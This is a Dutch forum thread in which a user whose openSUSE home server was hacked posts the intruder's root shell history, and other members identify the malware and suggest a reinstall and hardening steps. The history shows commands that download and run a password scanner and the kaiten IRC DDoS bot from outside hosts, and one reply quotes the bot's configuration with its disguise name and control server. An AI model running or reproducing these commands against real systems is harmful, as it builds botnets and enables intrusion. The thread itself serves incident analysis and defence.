[gehacked] Opensuse 11.2

Pagina: 1
Acties:

Acties:
  • 0 Henk 'm!

  • [Roland]
  • Registratie: Februari 2003
  • Niet online
Ik draai een linux server thuis, opensuse 11.2 waarop een iscsi target is geconfigureerd. Apache met Mysql draait (wordpress), torrentflux draait en Sabnzbd. Ik ben twee weken niet thuis geweest en verveelde me in het hotel. Afgelopen Maandag via een remote desktop verbinding met mijn windows server thuis een VNC verbinding gemaakt met de linux machine (gaat sneller als rechtstreeks vnc) en de oude sabnzbd geupdate. Werkte en klaar. Afgelopen dinsdag aan het hobby-en geweest met mijn website, die draait bij een provider maar ik test altijd thuis. Ik kon niet inloggen op wp-admin en niet op Sabnzbd. Met putty een verbinding gemaakt, dat lukte met mijn gebruikersnaam maar niet als root. Sudo werkte ook niet. Conclusie er is iets mis, mijn root wachtwoord was gewijzigd. Remote desktop verbinding gemaakt en eerst alle poorten (behalve 3389) dicht gezet. Linux server van buiten niet meer te bereiken. Ik ben niet altijd even netjes met in uitloggen en dat was mijn geluk. Mijn VNC sessie stond nog open en ik had direct toegang tot de Opensuse desktop. Ik kon mijn wachtwoord vanaf de command line wijzigen en ik had weer root toegang. Verder werkt niks. Yast doet het niet, internet doet het niet, en veel applicaties willen niet starten.

Ik niet snap wat er is mis gegaan is (behalve dat remote root access niet uitgeschakeld was), ik heb maar twee accounts, een root en een gebruiker, en beiden gebruiken sterke wachtwoorden. Of Sabnzbd en probleem heeft of opensuse (alle security updates waren geinstalleerd) maakt me nu ook niet uit. Het apparaat moet weer gaan werken en belangrijker, ik wil zeker weten dat de server geen rare dingen doet (denk het niet, want XS4All heeft me nog niet afgesloten). Ik heb de history opgevraagd en tussen mijn laatste opdracht (starten sabnzbd en het terug wijzigen van het root wachtwoord) is het volgende gebeurd: Kan iemand hieraan herlijden wat er is gebeurd (mijn Linux kennis is niet heel sterk). Foutmeldingen die ik nu krijg helemaal hieronder.
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
763  ls
  764  ps x
  765  w
  766  ls
  767  passwd
  768  ls
  769  mkdir cn
  770  ls
  771  apt-get install gcc
  772  yum install gcc
  773  cd
  774  ls
  775  cd /root/
  776  ls
  777  yum update
  778  version
  779  ls -al
  780  nano root
  781  ls
  782  cd cn
  783  ls
  784  wget http://unrealircd.icedslash.com/Unreal3.2.7.tar.gz
  785  tar -zxvf Unreal3.2.7.tar.gz
  786  cd Unreal3.2.7
  787  ./Config
  788  make
  789  ls
  790  w
  791  cd
  792  cd /home
  793  ls
  794  wget
  795  cd
  796  w
  797  ls
  798  w
  799  uptime
  800  cd /home
  801  cd root
  802  ls
  803  yum install gcc
  804  cd
  805  yum install gcc
  806  w
  807  ls
  808  w
  809  ls
  810  cd /home
  811  ls
  812  cd
  813  exit
  814  ls
  815  cd cn
  816  ls
  817  cd Unreal3.2.7
  818  make install
  819  nano unrealircd.conf
  820  nano connect.conf
  821  nano oper.conf
  822  ./unreal start
  823  cd src
  824  cd modules
  825  wget http://www.angrywolf.org/hideserver.tar.gz
  826  tar -zxvf hideserver.tar.gz
  827  cd ..
  828  make custommodule MODULEFILE=hideserver
  829  ./unreal start
  830  nano unrealircd.conf
  831  nano connect.conf
  832  ./unreal start
  833  nano /etc/sysconfig/iptables
  834  cd 
  835  nano /etc/sysconfig/iptables
  836  vi /etc/sysconfig/iptables
  837  nano /etc/init.d/iptables restart
  838  cd /etc/sysconfig/iptables
  839  w
  840  cd /home
  841  ls
  842  cd serives
  843  cd
  844  wget npchk.110mb.com/pass.tar
  845  tar xvf pass.tar
  846  rm -rf pass.tar
  847  cd pass
  848  ./scan 82.95
  849  cd
  850  ls
  851  ps x
  852  ls
  853  exit
  854  ls
  855  cd
  856  history
  857  cd 
  858  cd /home/
  859  ls
  860  uptime
  861  mkdir .un
  862  cd .un
  863  wget http://f4tal.com/kaiten.c
  864  gcc kaiten.c -o kaiten
  865  ./kaiten
  866  rm kaiten.c
  867  exit


Als ik Yast wil starten of sommige andere applicaties.
code:
1
2
3
4
5
6
7
8
~> yast2
/sbin/yast2: line 35: /bin/ls: cannot execute binary file
The /proc filesystem is not mounted.
/sbin/yast2: line 36: /bin/ls: cannot execute binary file
The /sys filesystem is not mounted.
/sbin/yast2: line 37: /bin/ls: cannot execute binary file
The /dev filesystem is not mounted.
If you are running in a chroot environment, bind-mount missing filesystems.


Een simpele ls
code:
1
2
~> ls
bash: /bin/ls: cannot execute binary file


Daarbij doet internet het niet. Verder start de server wel op en heb ik een bureablad (waar de meeste iconen niet gestart kunnen worden)

Uiteraard heb ik al gegoogled, had gehoopt dat een zoek actie naar kaiten.c (die baart me zorgen) licht in de duisternis zou scheppen, maar helaas niet.

Acties:
  • 0 Henk 'm!

  • Boudewijn
  • Registratie: Februari 2004
  • Niet online

Boudewijn

omdat het kan

Reinstallen, die hele handel. Dat bovenste log is je history?

code:
1
2
  825  wget http://www.angrywolf.org/hideserver.tar.gz
  826  tar -zxvf hideserver.tar.gz

:P.


Ik zou reinstallen, je kunt nu nergens meer op vertrouwen in je systeem (bij compromised systemen: Altijd alles lozen).

i3 + moederbord + geheugen kopen?


Acties:
  • 0 Henk 'm!

  • GlowMouse
  • Registratie: November 2002
  • Niet online
Bij Kaiten:
code:
1
2
This is a IRC based distributed denial of service client.  It connects to *
 * the server specified below and accepts commands via the channel specified.

klinkt ook niet goed :P

Acties:
  • 0 Henk 'm!

  • twiFight
  • Registratie: Januari 2002
  • Niet online
Trek daar eens heel snel je internetkabel uit :p

Acties:
  • 0 Henk 'm!

  • sloth
  • Registratie: Januari 2010
  • Niet online
code:
1
wget http://unrealircd.icedslash.com/Unreal3.2.7.tar.gz

Dit is een ircd die de attacker installeert.

code:
1
863  wget http://f4tal.com/kaiten.c


* This is a IRC based distributed denial of service client. It connects to *
* the server specified below and accepts commands via the channel specified. *
Lijkt me niet aangezien de TS geen DoS client zou installeren...toch?

Verder: wat Boudewijn zegt :)

Acties:
  • 0 Henk 'm!

  • [Roland]
  • Registratie: Februari 2003
  • Niet online
Internet heeft het ding momenteel niet.

Duidelijk, opnieuw installeren. Begrijp ik alleen nog niet hoe hij root is geworden.
Ik heb wat te doen dit weekend :-(

Acties:
  • 0 Henk 'm!

  • [Roland]
  • Registratie: Februari 2003
  • Niet online
sloth schreef op donderdag 29 april 2010 @ 20:36:
code:
1
wget http://unrealircd.icedslash.com/Unreal3.2.7.tar.gz

Dit is een ircd die de attacker installeert.

code:
1
863  wget http://f4tal.com/kaiten.c


* This is a IRC based distributed denial of service client. It connects to *
* the server specified below and accepts commands via the channel specified. *


[...]


Lijkt me niet aangezien de TS geen DoS client zou installeren...toch?
Ja, dat is de history van de root gebruiker... En nee, ik heb geen Dos client geinstalleerd :-)
Misschien maar gewoon windows gebruiken, ben ik veel handiger in :-)

Acties:
  • 0 Henk 'm!

  • GlowMouse
  • Registratie: November 2002
  • Niet online
Er zijn iets meer dan 1000 bots actief nu. Als het goed is, wordt zowel de webserver als de ircserver van de aanvaller zodadelijk offline gehaald :)

[ Voor 6% gewijzigd door GlowMouse op 29-04-2010 20:52 ]


Acties:
  • 0 Henk 'm!

  • sloth
  • Registratie: Januari 2010
  • Niet online
Huh? :?

* sloth begrijpt niet hoe GlowMouse dit kan doen/ weten?

Acties:
  • 0 Henk 'm!

  • GlowMouse
  • Registratie: November 2002
  • Niet online
sloth schreef op donderdag 29 april 2010 @ 20:49:
Huh? :?

* sloth begrijpt niet hoe GlowMouse dit kan doen/ weten?
ik zal er wel iets mee te maken hebben :+

Acties:
  • 0 Henk 'm!

  • Compizfox
  • Registratie: Januari 2009
  • Laatst online: 12:24

Compizfox

Bait for wenchmarks

sloth schreef op donderdag 29 april 2010 @ 20:49:
Huh? :?

* sloth begrijpt niet hoe GlowMouse dit kan doen/ weten?
Met ^

[ Voor 95% gewijzigd door Compizfox op 29-04-2010 20:54 ]

Gewoon een heel grote verzameling snoertjes


Acties:
  • 0 Henk 'm!

  • Boudewijn
  • Registratie: Februari 2004
  • Niet online

Boudewijn

omdat het kan

sloth schreef op donderdag 29 april 2010 @ 20:36:
Lijkt me niet aangezien de TS geen DoS client zou installeren...toch?
Mensen doen wel gekkere dingen.


Trouwens: Wie zegt dat de hacker niet iets echt fouts heeft gedaan en dit in het logje gemikt om 'ons' (of de TS) op een verkeerd been te zetten ;).
Daarom dus: echt reinstallen.

i3 + moederbord + geheugen kopen?


Acties:
  • 0 Henk 'm!

  • GlowMouse
  • Registratie: November 2002
  • Niet online
GlowMouse schreef op donderdag 29 april 2010 @ 20:48:
Er zijn iets meer dan 1000 bots actief nu. Als het goed is, wordt zowel de webserver als de ircserver van de aanvaller zodadelijk offline gehaald :)
Webserver en ircserver zijn offline 8)

Acties:
  • 0 Henk 'm!

  • xos
  • Registratie: Januari 2002
  • Laatst online: 12-09 12:41

xos

In kaiten.c
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
#define STARTUP         // Start on startup?
#undef IDENT            // Only enable this if you absolutely have to
#define FAKENAME "-bash"    // What you want this to hide as
#define CHAN "#shell"   // Channel to join
#define KEY "weetikniet"        // The key of the channel
int numservers=1;       // Must change this to equal number of servers down there
char *servers[] = {     // List the servers in that format, always end in (void*)0
        "tuta.f4tal.com",
    "",
    "",
    "",
        (void*)0
};

Acties:
  • 0 Henk 'm!

  • [Roland]
  • Registratie: Februari 2003
  • Niet online
GlowMouse schreef op donderdag 29 april 2010 @ 20:57:
[...]

Webserver en ircserver zijn offline 8)
Ik snap hem niet, komt dit bij mij vandaan?
Server staat uit, dus dan offline.

[ Voor 24% gewijzigd door [Roland] op 29-04-2010 21:10 ]


Acties:
  • 0 Henk 'm!

  • we_are_borg
  • Registratie: September 2000
  • Laatst online: 15-09 09:28

we_are_borg

You will Comply

Ik zou hier eens naar kijken http://www.cert.org/tech_...IX-system_compromise.html

Verander A 2 naar jouw eigen naam en aangifte moet je zelf even kijken. Maar een systeem die als root is gebruikt is niet meer te vertrouwen.
Altijd_Lastig schreef op donderdag 29 april 2010 @ 21:09:
[...]


Ik snap hem niet, komt dit bij mij vandaan?
Server staat uit, dus dan offline.
Nee glowmouse heeft denk ik even een abuse gestuurt naar de hoster van de website waar alles vanaf is getrokken en daarbij ook even alle andere gewaarschuwd om op te letten

[ Voor 45% gewijzigd door we_are_borg op 29-04-2010 21:16 ]

You need the computing power of a P1, 16 MB RAM and 1 GB Harddisk to run Win95. It took the computing power of 3 Commodore 64 to fly to the Moon. Something is wrong here, and it wasn't the Apollo.


Acties:
  • 0 Henk 'm!

  • [Roland]
  • Registratie: Februari 2003
  • Niet online
Dan verdient Glowmouse bij deze een bedankje..

Ik ben opnieuw aan het installeren. Ik zal op zoek gaan naar een "Hoe beveilig ik mijn linux server voor dummies".

Acties:
  • 0 Henk 'm!

  • sloth
  • Registratie: Januari 2010
  • Niet online
Heel simpel en (voor zover ik weet) ook effectief:

-Zet ICMP reply (ping) uit: veel geautomatiseerde scantools pingen eerst een host, en pas als ze een reply krijgen gaan ze ports scannen
-Forward (ik ga er even van uit dat je server achter NAT zit en geen DMZ?) alleen 1 poort voor een ssh / OpenVPN daemon
-Maak een keuze tussen een van beide hierboven beschreven oplossingen. Als je toch bijvoorbeeld toegang tot je Sabnzbd web interface wil, dan maak je eerst een ssh of vpn tunnel, en tunnel je de connecties hiernaar.

Zo hoef je maar 1 daemon te monitoren en vaak zijn deze zo goed als niet vatbaar voor remote exploits.

Acties:
  • 0 Henk 'm!

  • Boudewijn
  • Registratie: Februari 2004
  • Niet online

Boudewijn

omdat het kan

Je hebt niet eens een VPN nodig; je kunt met ssh gewoon een tunneltje maken naar je eigen pc. Lekker veilig.

Daarna alleen SSH voor buitenaf benaderbaar maken , een goed password (of een keypair maken) en dan denyhosts of fail2ban erop.

En dan ben je een aardig eind.

i3 + moederbord + geheugen kopen?


Acties:
  • 0 Henk 'm!

  • GlowMouse
  • Registratie: November 2002
  • Niet online
we_are_borg schreef op donderdag 29 april 2010 @ 21:14:
Ik zou hier eens naar kijken http://www.cert.org/tech_...IX-system_compromise.html
[...]


Nee glowmouse heeft denk ik even een abuse gestuurt naar de hoster van de website waar alles vanaf is getrokken en daarbij ook even alle andere gewaarschuwd om op te letten
Ik heb erachteraan gebeld ;) pobleem is alleen dat de domeinnaam nog bestaat en de server zo ergens anders ondergebracht kan worden. Ondanks de TTL van een uur is dat nog niet gedaan.

Acties:
  • 0 Henk 'm!

  • raymonvdm
  • Registratie: December 2001
  • Laatst online: 30-06 16:35
Ik heb dit ook eens gehad met mijn Debian machine, was binnen 2 weken gehacked omdat er geen firewall aanwezig was. Machine was wel helemaal gepatched maar dat maakte niet uit.

Ik heb hem opnieuw geinstalleerd, root login disabled, en shorewall erop gezet met ssh dicht behalve vanaf 3 ip adressen nu gaat het alweer een jaar of wat goed...
Pagina: 1